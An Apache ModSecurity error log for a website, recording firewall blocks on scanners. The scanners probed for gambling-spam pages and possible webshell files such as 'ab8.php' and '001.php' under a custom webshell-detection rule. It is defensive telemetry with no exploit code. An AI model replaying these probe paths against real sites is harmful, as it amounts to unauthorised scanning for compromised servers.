[Mon Feb 16 09:34:47.470990 2026] [:error] [pid 38888:tid 38908] [client 51.68.233.44:52190] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "aZJ0N6mDoBJWPvV4pcNtmwAAAVE"]
[Mon Feb 16 09:34:49.948835 2026] [:error] [pid 38888:tid 38915] [client 51.68.233.44:40708] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20auto.aspx"] [unique_id "aZJ0OamDoBJWPvV4pcNtoAAAAVg"]
[Mon Feb 16 09:34:52.466088 2026] [:error] [pid 38888:tid 38895] [client 51.68.233.44:40720] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZJ0PKmDoBJWPvV4pcNtqgAAAUQ"]
[Mon Feb 16 09:34:54.932368 2026] [:error] [pid 4347:tid 4386] [client 51.68.233.44:40736] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20888.aspx"] [unique_id "aZJ0PjFcjv6pEAnSEifqwQAAABI"]
[Mon Feb 16 09:34:57.285512 2026] [:error] [pid 4455:tid 4458] [client 51.68.233.44:40748] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20auto.aspx"] [unique_id "aZJ0QQNa-4dvQCL0rurQZQAAAME"]
[Mon Feb 16 09:34:59.796153 2026] [:error] [pid 38888:tid 38901] [client 51.68.233.44:58266] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20demo.aspx"] [unique_id "aZJ0Q6mDoBJWPvV4pcNtzQAAAUo"]
[Mon Feb 16 09:35:02.305830 2026] [:error] [pid 4347:tid 4373] [client 51.68.233.44:58270] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20online.aspx"] [unique_id "aZJ0RjFcjv6pEAnSEifqzAAAAAU"]
[Mon Feb 16 09:35:04.821210 2026] [:error] [pid 4348:tid 4415] [client 51.68.233.44:58284] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20soft.aspx"] [unique_id "aZJ0SHxbK-cCGKg9ayvR5AAAAFQ"]
[Mon Feb 16 09:35:07.160644 2026] [:error] [pid 4348:tid 4414] [client 51.68.233.44:58300] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "aZJ0S3xbK-cCGKg9ayvR7AAAAFM"]
[Mon Feb 16 09:35:09.675680 2026] [:error] [pid 4455:tid 4459] [client 51.68.233.44:58200] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZJ0TQNa-4dvQCL0rurQbgAAAMI"]
[Mon Feb 16 09:35:12.175875 2026] [:error] [pid 4349:tid 4446] [client 51.68.233.44:58204] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZJ0UMrbZYafUL_3QfxGjgAAAJg"]
[Mon Feb 16 09:35:14.488895 2026] [:error] [pid 37004:tid 37012] [client 51.68.233.44:58216] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZJ0UlXWqA9gxE5oGmZ5_gAAAQY"]
[Mon Feb 16 09:35:16.990024 2026] [:error] [pid 37004:tid 37020] [client 51.68.233.44:58226] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "aZJ0VFXWqA9gxE5oGmZ6AwAAAQ4"]
[Mon Feb 16 09:35:19.300701 2026] [:error] [pid 37004:tid 37030] [client 51.68.233.44:38188] [client 51.68.233.44] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spx%20slot.aspx"] [unique_id "aZJ0V1XWqA9gxE5oGmZ6BQAAARg"]
[Mon Feb 16 10:10:51.682933 2026] [:error] [pid 37004:tid 37024] [client 43.166.242.189:60756] [client 43.166.242.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZJ8q1XWqA9gxE5oGmaFjAAAARI"]
[Mon Feb 16 15:16:17.323555 2026] [:error] [pid 4347:tid 4383] [client 23.226.132.115:53338] [client 23.226.132.115] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "aZLEQTFcjv6pEAnSEidaCwAAAA8"], referer: https://www.bing.com/search?q=login
[Mon Feb 16 23:55:30.692890 2026] [:error] [pid 34932:tid 34945] [client 88.134.110.36:12365] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "aZM98kKCWyYIg5P1IPe9eAAAAgY"]
[Mon Feb 16 23:55:33.340786 2026] [:error] [pid 4455:tid 4461] [client 88.134.110.36:4350] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "aZM99QNa-4dvQCL0rurAWgAAAMQ"]
[Mon Feb 16 23:55:35.993002 2026] [:error] [pid 4347:tid 4377] [client 88.134.110.36:1661] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "aZM99zFcjv6pEAnSEicWFwAAAAk"]
[Mon Feb 16 23:55:38.578604 2026] [:error] [pid 4347:tid 4370] [client 88.134.110.36:43738] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "aZM9-jFcjv6pEAnSEicWIAAAAAI"]
[Mon Feb 16 23:55:41.032138 2026] [:error] [pid 38888:tid 38908] [client 88.134.110.36:37664] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "aZM9_amDoBJWPvV4pcOMBQAAAVE"]
[Mon Feb 16 23:55:43.525625 2026] [:error] [pid 4347:tid 4391] [client 88.134.110.36:7944] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "aZM9_zFcjv6pEAnSEicWKAAAABc"]
[Mon Feb 16 23:55:46.018142 2026] [:error] [pid 34904:tid 34919] [client 88.134.110.36:37416] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "aZM-AhoDUNgfYrSP5-tpwgAAAc0"]
[Mon Feb 16 23:55:48.560651 2026] [:error] [pid 4349:tid 4436] [client 88.134.110.36:36630] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "aZM-BMrbZYafUL_3QfwsYwAAAI4"]
[Mon Feb 16 23:55:51.074482 2026] [:error] [pid 26648:tid 26670] [client 88.134.110.36:11367] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sbobet%20ca.aspx"] [unique_id "aZM-BzT55fUixS3gmyhx6wAAAZE"]
[Mon Feb 16 23:55:54.757760 2026] [:error] [pid 4347:tid 4373] [client 88.134.110.36:35160] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20free.aspx"] [unique_id "aZM-CjFcjv6pEAnSEicWMwAAAAU"]
[Mon Feb 16 23:55:57.412059 2026] [:error] [pid 38888:tid 38907] [client 88.134.110.36:61200] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20game%20666.aspx"] [unique_id "aZM-DamDoBJWPvV4pcOMFAAAAVA"]
[Mon Feb 16 23:56:00.062103 2026] [:error] [pid 35004:tid 35012] [client 88.134.110.36:15547] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20joker.aspx"] [unique_id "aZM-EGX1hIIv5l_K_OuB8AAAAoY"]
[Mon Feb 16 23:56:02.601045 2026] [:error] [pid 4349:tid 4426] [client 88.134.110.36:20531] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "aZM-EsrbZYafUL_3QfwsbwAAAIQ"]
[Mon Feb 16 23:56:04.981691 2026] [:error] [pid 4349:tid 4438] [client 88.134.110.36:41871] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "aZM-FMrbZYafUL_3QfwscwAAAJA"]
[Mon Feb 16 23:56:07.723852 2026] [:error] [pid 4455:tid 4474] [client 88.134.110.36:9040] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "aZM-FwNa-4dvQCL0rurAhAAAANE"]
[Mon Feb 16 23:56:10.109454 2026] [:error] [pid 26648:tid 26662] [client 88.134.110.36:23021] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "aZM-GjT55fUixS3gmyhx9wAAAYk"]
[Mon Feb 16 23:56:12.674045 2026] [:error] [pid 4455:tid 4466] [client 88.134.110.36:36410] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/spg%20slot.aspx"] [unique_id "aZM-HANa-4dvQCL0rurAjQAAAMk"]
[Mon Feb 16 23:56:15.061765 2026] [:error] [pid 34933:tid 34974] [client 88.134.110.36:18208] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "aZM-H8ubrqI4iEJPNFl9BgAAAkg"]
[Mon Feb 16 23:56:17.450689 2026] [:error] [pid 4349:tid 4441] [client 88.134.110.36:14309] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "aZM-IcrbZYafUL_3QfwsgAAAAJM"]
[Mon Feb 16 23:56:19.987298 2026] [:error] [pid 26648:tid 26666] [client 88.134.110.36:25863] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20vip.aspx"] [unique_id "aZM-IzT55fUixS3gmyhyBAAAAY0"]
[Mon Feb 16 23:56:22.404997 2026] [:error] [pid 38888:tid 38904] [client 88.134.110.36:32648] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20auto.aspx"] [unique_id "aZM-JqmDoBJWPvV4pcOMKgAAAU0"]
[Mon Feb 16 23:56:25.152055 2026] [:error] [pid 4347:tid 4372] [client 88.134.110.36:48699] [client 88.134.110.36] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20net.aspx"] [unique_id "aZM-KTFcjv6pEAnSEicWVQAAAAQ"]
[Tue Feb 17 03:17:16.513284 2026] [:error] [pid 34933:tid 34983] [client 188.165.217.198:39952] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aZNtPMubrqI4iEJPNFmbcwAAAlE"]
[Tue Feb 17 03:17:23.609312 2026] [:error] [pid 35004:tid 35009] [client 188.165.217.198:42034] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aZNtQ2X1hIIv5l_K_OuhuQAAAoM"]
[Tue Feb 17 03:29:44.692331 2026] [:error] [pid 34904:tid 34921] [client 188.165.217.198:38242] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "aZNwKBoDUNgfYrSP5-uKWgAAAc8"]
[Tue Feb 17 03:50:38.400194 2026] [:error] [pid 58552:tid 58619] [client 188.165.217.198:33236] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "aZN1DjBHVJP2Oz3yR5eu8wAAAFg"]
[Tue Feb 17 03:54:45.806729 2026] [:error] [pid 58551:tid 58563] [client 188.165.217.198:53312] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "aZN2Ba1t8eWr-MgFspo0sAAAAAM"]
[Tue Feb 17 03:58:17.630661 2026] [:error] [pid 58552:tid 58614] [client 188.165.217.198:45788] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20777.aspx"] [unique_id "aZN22TBHVJP2Oz3yR5ex0AAAAFM"]
[Tue Feb 17 04:02:36.601055 2026] [:error] [pid 58552:tid 58604] [client 188.165.217.198:40514] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "aZN33DBHVJP2Oz3yR5ezTgAAAEk"]
[Tue Feb 17 04:02:48.672185 2026] [:error] [pid 58659:tid 58666] [client 188.165.217.198:42362] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "aZN36MDX32iTEO4jt2-v1gAAAMU"]
[Tue Feb 17 04:03:02.639461 2026] [:error] [pid 58659:tid 58670] [client 188.165.217.198:44048] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "aZN39sDX32iTEO4jt2-wCAAAAMk"]
[Tue Feb 17 04:06:58.175876 2026] [:error] [pid 58552:tid 58618] [client 188.165.217.198:36252] [client 188.165.217.198] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aZN44jBHVJP2Oz3yR5e1ZQAAAFc"]
[Tue Feb 17 04:56:16.936014 2026] [:error] [pid 58551:tid 58566] [client 158.158.105.51:7319] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ab8.php"] [unique_id "aZOEcK1t8eWr-MgFsppPtAAAAAY"]
[Tue Feb 17 04:56:22.569294 2026] [:error] [pid 32790:tid 32808] [client 158.158.105.51:37355] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ab8.php"] [unique_id "aZOEdns3HJP9ozPHsN6zCAAAAQ4"]
[Tue Feb 17 04:56:23.997762 2026] [:error] [pid 58551:tid 58574] [client 158.158.105.51:38720] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ab8.php"] [unique_id "aZOEd61t8eWr-MgFsppPwgAAAA4"]
[Tue Feb 17 04:56:25.205709 2026] [:error] [pid 58551:tid 58580] [client 158.158.105.51:7322] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ab8.php"] [unique_id "aZOEea1t8eWr-MgFsppPygAAABQ"]
[Tue Feb 17 04:56:27.482933 2026] [:error] [pid 32790:tid 32798] [client 158.158.105.51:28080] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/001.php"] [unique_id "aZOEe3s3HJP9ozPHsN6zEgAAAQQ"]
[Tue Feb 17 04:56:29.132692 2026] [:error] [pid 58558:tid 58644] [client 158.158.105.51:40500] [client 158.158.105.51] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/001.php"] [unique_id "aZOEfSmIxlfUL2nViZyY4AAAAJY"]
